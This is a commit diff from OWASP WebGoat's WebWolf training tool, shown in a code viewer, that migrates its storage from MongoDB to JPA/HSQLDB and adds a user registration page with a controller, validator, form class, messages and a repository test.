</dependency>
|
||||||
|
|
||||||
|
<!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-test</artifactId>
|
||||||
|
<scope>test</scope>
|
||||||
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<build>
|
<build>
|
||||||
|
@ -1,13 +1,9 @@
|
|||||||
package org.owasp.webwolf.mailbox;
|
package org.owasp.webwolf.mailbox;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import org.springframework.data.annotation.Id;
|
|
||||||
import org.springframework.data.mongodb.core.index.Indexed;
|
|
||||||
import org.springframework.data.mongodb.core.mapping.Document;
|
|
||||||
|
|
||||||
|
import javax.persistence.*;
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.time.LocalDateTime;
|
import java.time.LocalDateTime;
|
||||||
import java.time.format.DateTimeFormatter;
|
import java.time.format.DateTimeFormatter;
|
||||||
@ -16,20 +12,19 @@ import java.time.format.DateTimeFormatter;
|
|||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 8/20/17.
|
* @since 8/20/17.
|
||||||
*/
|
*/
|
||||||
@Builder
|
|
||||||
@Data
|
@Data
|
||||||
@Document
|
@Entity
|
||||||
@NoArgsConstructor
|
@NoArgsConstructor
|
||||||
@AllArgsConstructor
|
|
||||||
public class Email implements Serializable {
|
public class Email implements Serializable {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
private String id;
|
@GeneratedValue(strategy = GenerationType.IDENTITY)
|
||||||
|
private Long id;
|
||||||
private LocalDateTime time;
|
private LocalDateTime time;
|
||||||
|
@Column(length = 1024)
|
||||||
private String contents;
|
private String contents;
|
||||||
private String sender;
|
private String sender;
|
||||||
private String title;
|
private String title;
|
||||||
@Indexed
|
|
||||||
private String recipient;
|
private String recipient;
|
||||||
|
|
||||||
public String getSummary() {
|
public String getSummary() {
|
||||||
@ -47,4 +42,5 @@ public class Email implements Serializable {
|
|||||||
public String getShortSender() {
|
public String getShortSender() {
|
||||||
return sender.substring(0, sender.indexOf("@"));
|
return sender.substring(0, sender.indexOf("@"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
@ -1,7 +1,6 @@
|
|||||||
package org.owasp.webwolf.mailbox;
|
package org.owasp.webwolf.mailbox;
|
||||||
|
|
||||||
import org.bson.types.ObjectId;
|
import org.springframework.data.jpa.repository.JpaRepository;
|
||||||
import org.springframework.data.mongodb.repository.MongoRepository;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
@ -9,7 +8,7 @@ import java.util.List;
|
|||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 8/17/17.
|
* @since 8/17/17.
|
||||||
*/
|
*/
|
||||||
public interface MailboxRepository extends MongoRepository<Email, ObjectId> {
|
public interface MailboxRepository extends JpaRepository<Email, String> {
|
||||||
|
|
||||||
List<Email> findByRecipientOrderByTimeDesc(String recipient);
|
List<Email> findByRecipientOrderByTimeDesc(String recipient);
|
||||||
|
|
||||||
|
@ -0,0 +1,47 @@
|
|||||||
|
package org.owasp.webwolf.user;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.springframework.security.authentication.AuthenticationManager;
|
||||||
|
import org.springframework.stereotype.Controller;
|
||||||
|
import org.springframework.validation.BindingResult;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.validation.Valid;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/19/17.
|
||||||
|
*/
|
||||||
|
@Controller
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Slf4j
|
||||||
|
public class RegistrationController {
|
||||||
|
|
||||||
|
private UserValidator userValidator;
|
||||||
|
private UserService userService;
|
||||||
|
private AuthenticationManager authenticationManager;
|
||||||
|
|
||||||
|
@GetMapping("/registration")
|
||||||
|
public String showForm(UserForm userForm) {
|
||||||
|
return "registration";
|
||||||
|
}
|
||||||
|
|
||||||
|
@PostMapping("/register.mvc")
|
||||||
|
@SneakyThrows
|
||||||
|
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
||||||
|
userValidator.validate(userForm, bindingResult);
|
||||||
|
|
||||||
|
if (bindingResult.hasErrors()) {
|
||||||
|
return "registration";
|
||||||
|
}
|
||||||
|
userService.addUser(userForm.getUsername(), userForm.getPassword());
|
||||||
|
request.login(userForm.getUsername(), userForm.getPassword());
|
||||||
|
|
||||||
|
return "redirect:/WebWolf/home";
|
||||||
|
}
|
||||||
|
}
|
28
webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java
Normal file
28
webwolf/src/main/java/org/owasp/webwolf/user/UserForm.java
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
package org.owasp.webwolf.user;
|
||||||
|
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
|
||||||
|
import javax.validation.constraints.NotNull;
|
||||||
|
import javax.validation.constraints.Size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/19/17.
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
public class UserForm {
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Size(min=6, max=20)
|
||||||
|
private String username;
|
||||||
|
@NotNull
|
||||||
|
@Size(min=6, max=10)
|
||||||
|
private String password;
|
||||||
|
@NotNull
|
||||||
|
@Size(min=6, max=10)
|
||||||
|
private String matchingPassword;
|
||||||
|
@NotNull
|
||||||
|
private String agree;
|
||||||
|
}
|
@ -1,12 +1,12 @@
|
|||||||
package org.owasp.webwolf.user;
|
package org.owasp.webwolf.user;
|
||||||
|
|
||||||
import org.springframework.data.mongodb.repository.MongoRepository;
|
import org.springframework.data.jpa.repository.JpaRepository;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 3/19/17.
|
* @since 3/19/17.
|
||||||
*/
|
*/
|
||||||
public interface UserRepository extends MongoRepository<WebGoatUser, String> {
|
public interface UserRepository extends JpaRepository<WebGoatUser, String> {
|
||||||
|
|
||||||
WebGoatUser findByUsername(String username);
|
WebGoatUser findByUsername(String username);
|
||||||
}
|
}
|
||||||
|
@ -27,4 +27,9 @@ public class UserService implements UserDetailsService {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void addUser(String username, String password) {
|
||||||
|
userRepository.save(new WebGoatUser(username, password));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,35 @@
|
|||||||
|
package org.owasp.webwolf.user;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.springframework.stereotype.Component;
|
||||||
|
import org.springframework.validation.Errors;
|
||||||
|
import org.springframework.validation.Validator;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 3/19/17.
|
||||||
|
*/
|
||||||
|
@Component
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class UserValidator implements Validator {
|
||||||
|
|
||||||
|
private final UserRepository userRepository;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean supports(Class<?> aClass) {
|
||||||
|
return UserForm.class.equals(aClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void validate(Object o, Errors errors) {
|
||||||
|
UserForm userForm = (UserForm) o;
|
||||||
|
|
||||||
|
if (userRepository.findByUsername(userForm.getUsername()) != null) {
|
||||||
|
errors.rejectValue("username", "username.duplicate");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {
|
||||||
|
errors.rejectValue("matchingPassword", "password.diff");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -1,13 +1,14 @@
|
|||||||
package org.owasp.webwolf.user;
|
package org.owasp.webwolf.user;
|
||||||
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.springframework.data.annotation.Id;
|
|
||||||
import org.springframework.data.annotation.Transient;
|
|
||||||
import org.springframework.security.core.GrantedAuthority;
|
import org.springframework.security.core.GrantedAuthority;
|
||||||
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
||||||
import org.springframework.security.core.userdetails.User;
|
import org.springframework.security.core.userdetails.User;
|
||||||
import org.springframework.security.core.userdetails.UserDetails;
|
import org.springframework.security.core.userdetails.UserDetails;
|
||||||
|
|
||||||
|
import javax.persistence.Entity;
|
||||||
|
import javax.persistence.Id;
|
||||||
|
import javax.persistence.Transient;
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
@ -16,6 +17,7 @@ import java.util.Collections;
|
|||||||
* @since 3/19/17.
|
* @since 3/19/17.
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
|
@Entity
|
||||||
public class WebGoatUser implements UserDetails {
|
public class WebGoatUser implements UserDetails {
|
||||||
|
|
||||||
public static final String ROLE_USER = "WEBGOAT_USER";
|
public static final String ROLE_USER = "WEBGOAT_USER";
|
||||||
|
@ -3,8 +3,13 @@ server.error.path=/error.html
|
|||||||
server.session.timeout=6000
|
server.session.timeout=6000
|
||||||
#server.contextPath=/WebWolf
|
#server.contextPath=/WebWolf
|
||||||
server.port=8081
|
server.port=8081
|
||||||
|
server.address=127.0.0.1
|
||||||
server.session.cookie.name = WEBWOLFSESSION
|
server.session.cookie.name = WEBWOLFSESSION
|
||||||
|
|
||||||
|
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf
|
||||||
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
|
spring.messages.basename=i18n/messages
|
||||||
|
|
||||||
logging.level.org.springframework=INFO
|
logging.level.org.springframework=INFO
|
||||||
logging.level.org.springframework.boot.devtools=WARN
|
logging.level.org.springframework.boot.devtools=WARN
|
||||||
logging.level.org.owasp=DEBUG
|
logging.level.org.owasp=DEBUG
|
||||||
@ -25,12 +30,10 @@ multipart.location=${java.io.tmpdir}
|
|||||||
multipart.max-file-size=1Mb
|
multipart.max-file-size=1Mb
|
||||||
multipart.max-request-size=1Mb
|
multipart.max-request-size=1Mb
|
||||||
|
|
||||||
|
webgoat.build.version=@project.version@
|
||||||
|
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
|
||||||
|
|
||||||
spring.data.mongodb.host=${WG_MONGO_HOST:}
|
|
||||||
spring.data.mongodb.port=${WG_MONGO_PORT:27017}
|
|
||||||
spring.data.mongodb.database=webgoat
|
|
||||||
|
|
||||||
spring.jackson.serialization.indent_output=true
|
spring.jackson.serialization.indent_output=true
|
||||||
spring.jackson.serialization.write-dates-as-timestamps=false
|
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||||
|
|
||||||
|
40
webwolf/src/main/resources/i18n/messages.properties
Normal file
40
webwolf/src/main/resources/i18n/messages.properties
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
#
|
||||||
|
# This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||||
|
# please see http://www.owasp.org/
|
||||||
|
# <p>
|
||||||
|
# Copyright (c) 2002 - 2017 Bruce Mayhew
|
||||||
|
# <p>
|
||||||
|
# This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||||
|
# GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
# <p>
|
||||||
|
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||||
|
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
# <p>
|
||||||
|
# You should have received a copy of the GNU General Public License along with this program; if
|
||||||
|
# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||||
|
# 02111-1307, USA.
|
||||||
|
# <p>
|
||||||
|
# Getting Source ==============
|
||||||
|
# <p>
|
||||||
|
# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||||
|
# projects.
|
||||||
|
# <p>
|
||||||
|
#
|
||||||
|
|
||||||
|
register.new=Register new user
|
||||||
|
sign.up=Sign up
|
||||||
|
register.title=Register
|
||||||
|
|
||||||
|
password=Password
|
||||||
|
password.confirm=Confirm password
|
||||||
|
username=Username
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
not.empty=This field is required.
|
||||||
|
username.size=Please use between 6 and 10 characters.
|
||||||
|
username.duplicate=User already exists.
|
||||||
|
password.size=Password should at least contain 6 characters
|
||||||
|
password.diff=The passwords do not match.
|
@ -45,6 +45,7 @@
|
|||||||
<div class="col-xs-6 col-sm-6 col-md-6">
|
<div class="col-xs-6 col-sm-6 col-md-6">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>
|
||||||
</fieldset>
|
</fieldset>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
89
webwolf/src/main/resources/templates/registration.html
Normal file
89
webwolf/src/main/resources/templates/registration.html
Normal file
@ -0,0 +1,89 @@
|
|||||||
|
<!DOCTYPE HTML>
|
||||||
|
<html xmlns:th="http://www.thymeleaf.org">
|
||||||
|
<head>
|
||||||
|
<div th:replace="fragments/header :: header-css"/>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div th:replace="fragments/header :: header"/>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
|
||||||
|
<br/><br/>
|
||||||
|
<fieldset>
|
||||||
|
<legend th:text="#{register.title}">Please Sign Up</legend>
|
||||||
|
<form class="form-horizontal" action="#" th:action="@{/register.mvc}" th:object="${userForm}"
|
||||||
|
method='POST'>
|
||||||
|
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('username')}? 'has-error'">
|
||||||
|
<label for="username" class="col-sm-2 control-label" th:text="#{username}">Username</label>
|
||||||
|
<div class="col-sm-4">
|
||||||
|
<input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"
|
||||||
|
th:field="*{username}"
|
||||||
|
id="username" placeholder="Username" name='username'/>
|
||||||
|
</div>
|
||||||
|
<span th:if="${#fields.hasErrors('username')}" th:errors="*{username}">Username error</span>
|
||||||
|
</div>
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
|
||||||
|
<label for="password" class="col-sm-2 control-label" th:text="#{password}">Password</label>
|
||||||
|
<div class="col-sm-4">
|
||||||
|
<input type="password" class="form-control" id="password" placeholder="Password"
|
||||||
|
name='password' th:value="*{password}"/>
|
||||||
|
</div>
|
||||||
|
<span th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password error</span>
|
||||||
|
</div>
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('matchingPassword')}? 'has-error'">
|
||||||
|
<label for="matchingPassword" class="col-sm-2 control-label" th:text="#{password.confirm}">Confirm
|
||||||
|
password</label>
|
||||||
|
<div class="col-sm-4">
|
||||||
|
<input type="password" class="form-control" id="matchingPassword" placeholder="Password"
|
||||||
|
name='matchingPassword' th:value="*{matchingPassword}"/>
|
||||||
|
</div>
|
||||||
|
<span th:if="${#fields.hasErrors('matchingPassword')}"
|
||||||
|
th:errors="*{matchingPassword}">Password error</span>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('agree')}? 'has-error'">
|
||||||
|
<label class="col-sm-2 control-label">Terms of use</label>
|
||||||
|
<div class="col-sm-6">
|
||||||
|
<div style="border: 1px solid #e5e5e5; height: 200px; overflow: auto; padding: 10px;">
|
||||||
|
<p>
|
||||||
|
While running this program your machine will be extremely
|
||||||
|
vulnerable to attack. You should disconnect from the Internet while using
|
||||||
|
this program. WebGoat's default configuration binds to localhost to minimize
|
||||||
|
the exposure.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
This program is for educational purposes only. If you attempt
|
||||||
|
these techniques without authorization, you are very likely to get caught. If
|
||||||
|
you are caught engaging in unauthorized hacking, most companies will fire you.
|
||||||
|
Claiming that you were doing security research will not work as that is the
|
||||||
|
first thing that all hackers claim.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group" th:classappend="${#fields.hasErrors('agree')}? 'has-error'">
|
||||||
|
<div class="col-sm-6 col-sm-offset-2">
|
||||||
|
<div class="checkbox">
|
||||||
|
<label>
|
||||||
|
<input type="checkbox" name="agree" value="agree"/>Agree with the terms and
|
||||||
|
conditions
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<div class="col-sm-offset-2 col-sm-6">
|
||||||
|
<button type="submit" class="btn btn-primary" th:text="#{sign.up}">Sign up</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</fieldset>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
@ -0,0 +1,49 @@
|
|||||||
|
package org.owasp.webwolf.mailbox;
|
||||||
|
|
||||||
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.junit.Assert.*;
|
||||||
|
|
||||||
|
@DataJpaTest
|
||||||
|
@RunWith(SpringRunner.class)
|
||||||
|
public class MailboxRepositoryTest {
|
||||||
|
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private MailboxRepository mailboxRepository;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void emailShouldBeSaved() {
|
||||||
|
Email email = new Email();
|
||||||
|
email.setTime(LocalDateTime.now());
|
||||||
|
email.setTitle("test");
|
||||||
|
email.setSender("test@test.com");
|
||||||
|
email.setContents("test");
|
||||||
|
email.setRecipient("someone@webwolf.org");
|
||||||
|
mailboxRepository.save(email);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void savedEmailShouldBeFoundByReceipient() {
|
||||||
|
Email email = new Email();
|
||||||
|
email.setTime(LocalDateTime.now());
|
||||||
|
email.setTitle("test");
|
||||||
|
email.setSender("test@test.com");
|
||||||
|
email.setContents("test");
|
||||||
|
email.setRecipient("someone@webwolf.org");
|
||||||
|
mailboxRepository.saveAndFlush(email);
|
||||||
|
|
||||||
|
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc("someone@webwolf.org");
|
||||||
|
|
||||||
|
assertThat(emails.size(), CoreMatchers.is(1));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -1,3 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar
|
|
Reference in New Issue
Block a user